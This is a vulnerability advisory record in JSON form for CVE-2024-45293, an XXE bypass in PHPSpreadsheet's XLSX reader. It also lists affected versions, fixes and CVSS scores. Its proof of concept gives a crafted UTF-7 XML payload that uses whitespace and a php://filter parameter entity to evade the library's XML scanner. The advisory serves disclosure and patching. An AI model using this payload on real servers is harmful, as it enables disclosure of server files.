{"id":"GHSA-6hwr-6v2f-3m88","aliases":["CVE-2024-45293"],"title":"XXE in PHPSpreadsheet's XLSX reader","titleSource":"OSV","descriptionSource":"OSV","declaredSeverity":"HIGH","description":"### Summary\nThe security scanner responsible for preventing XXE attacks in the XLSX reader can be bypassed by slightly modifying the XML structure, utilizing white-spaces. On servers that allow users to upload their own Excel (XLSX) sheets, Server files and sensitive information can be disclosed by providing a crafted sheet. \n\n### Details\nThe security scan function in `src/PhpSpreadsheet/Reader/Security/XmlScanner.php` contains a flawed XML encoding check to retrieve the input file's XML encoding in the `toUtf8` function. \n\nThe function searches for the XML encoding through a defined regex which looks for `encoding=\"*\"` and/or `encoding='*'`, if not found, it defaults to the UTF-8 encoding which bypasses the conversion logic. \n\n ```\n$patterns = [\n            '/encoding=\"([^\"]*]?)\"/',\n            \"/encoding='([^']*?)'/\",\n];\n```\n\nThis logic can be used to pass a UTF-7 encoded XXE payload, by utilizing a whitespace before or after the `=` in the attribute definition. \n\n### PoC\n\nNeeded:\n- An Excel sheet (XLSX) with at least one cell containing a value.\n\nUnzip the excel sheet, and modify the `xl/SharedStrings.xml` file with the following value (note the space after `encoding=`):\n\n```\n<?xml version=\"1.0\" encoding= 'UTF-7' standalone=\"yes\"?>\n+ADw-!DOCTYPE abc [ ... ]>\n```\n\n#### Step-by-step\n\n1. First off, the following string is encoded in base64:\n\n```\n<!ENTITY internal 'abc'  >\" \n```\n\nResulting in:\n\n```\nPCFFTlRJVFkgaW50ZXJuYWwgJ2FiYycgID4K\n```\n\n2. The string is used with a parameter entity and the PHP filter wrapper to ultimately define custom entities and call them within the XML.\n\n```\n<?xml version=\"1.0\" encoding= 'UTF-7' standalone=\"yes\"?>\n+ADw-!DOCTYPE foo [ <!ENTITY % xxe SYSTEM \"php://filter//resource=data://text/plain;base64,PCFFTlRJVFkgaW50ZXJuYWwgJ2FiYycgID4K\" > %xxe;]>\n<sst xmlns=\"http://schemas.openxmlformats.org/spreadsheetml/2006/main\" count=\"1\" uniqueCount=\"1\"><si><t>&internal;</t></si></sst>\n```\n\nWhen this file is parsed by the library, the value `abc` should be in the original filled cell.\n\nWith the help of the PHP filter wrapper, this can be escalated to information disclosure/file read. \n\n### Impact\nSensitive information disclosure through the XXE on sites that allow users to upload their own excel spreadsheets, and parse them using PHPSpreadsheet's Excel parser.","severity":"high","score":7.5,"published":"2024-10-07T15:58:52.000Z","modified":"2025-03-06T18:36:55.798Z","withdrawn":false,"knownExploited":false,"affected":[{"ecosystem":"Packagist","name":"phpoffice/phpspreadsheet","sources":[{"name":"OSV · GHSA-6hwr-6v2f-3m88","url":"https://osv.dev/vulnerability/GHSA-6hwr-6v2f-3m88"}],"ranges":[{"events":[{"introduced":"2.2.0"},{"fixed":"2.3.0"}],"type":"ECOSYSTEM"}],"versions":["2.2.0","2.2.1","2.2.2"],"fixed":["2.3.0"]},{"ecosystem":"Packagist","name":"phpoffice/phpspreadsheet","sources":[{"name":"OSV · GHSA-6hwr-6v2f-3m88","url":"https://osv.dev/vulnerability/GHSA-6hwr-6v2f-3m88"}],"ranges":[{"events":[{"introduced":"0"},{"fixed":"1.29.1"}],"type":"ECOSYSTEM"}],"versions":["1.0.0","1.0.0-beta","1.0.0-beta2","1.1.0","1.10.0","1.10.1","1.11.0","1.12.0","1.13.0","1.14.0","1.14.1","1.15.0","1.16.0","1.17.0","1.17.1","1.18.0","1.19.0","1.2.0","1.2.1","1.20.0","1.21.0","1.22.0","1.23.0","1.24.0","1.24.1","1.25.0","1.25.1","1.25.2","1.26.0","1.27.0","1.27.1","1.28.0","1.29.0","1.3.0","1.3.1","1.4.0","1.4.1","1.5.0","1.5.1","1.5.2","1.6.0","1.7.0","1.8.0","1.8.1","1.8.2","1.9.0"],"fixed":["1.29.1"]},{"ecosystem":"Packagist","name":"phpoffice/phpspreadsheet","sources":[{"name":"OSV · GHSA-6hwr-6v2f-3m88","url":"https://osv.dev/vulnerability/GHSA-6hwr-6v2f-3m88"}],"ranges":[{"events":[{"introduced":"2.0.0"},{"fixed":"2.1.1"}],"type":"ECOSYSTEM"}],"versions":["2.0.0","2.1.0"],"fixed":["2.1.1"]},{"ecosystem":"Packagist","name":"phpoffice/phpexcel","sources":[{"name":"OSV · GHSA-6hwr-6v2f-3m88","url":"https://osv.dev/vulnerability/GHSA-6hwr-6v2f-3m88"}],"ranges":[{"events":[{"introduced":"0"},{"last_affected":"1.8.2"}],"type":"ECOSYSTEM"}],"versions":["1.7.9","1.7.9-rc1","1.8.0","1.8.0rc1","1.8.0rc2","1.8.0rc3","1.8.0rc4","1.8.1","1.8.2"],"fixed":[]}],"sourceAffected":[],"references":["https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-6hwr-6v2f-3m88","https://nvd.nist.gov/vuln/detail/CVE-2024-45293","https://github.com/PHPOffice/PhpSpreadsheet/commit/3bcd51826b7f089d1641e756c83030c30c3bdb0c","https://github.com/PHPOffice/PhpSpreadsheet/commit/7d6cb09f6e8204f65e6dd5a0490f7f45f44bb331","https://github.com/PHPOffice/PhpSpreadsheet/commit/949ff63e1f6413e6485f73af012d506aa81384bf","https://github.com/PHPOffice/PhpSpreadsheet"],"sources":[{"name":"OSV","id":"GHSA-6hwr-6v2f-3m88","modified":"2025-03-06T18:36:55.798253Z","url":"https://osv.dev/vulnerability/GHSA-6hwr-6v2f-3m88"}],"assessments":[{"source":"OSV","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","score":7.5},{"source":"OSV","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","score":8.7}],"products":[],"remediation":[],"kev":{"status":"unavailable","checkedAt":"2026-10-28T21:45:31.439Z"},"coverage":[{"source":"NVD","status":"not-checked"},{"source":"GHSA","status":"not-checked"},{"source":"EUVD","status":"not-checked"},{"source":"EPSS","status":"not-checked"}],"evidence":[]}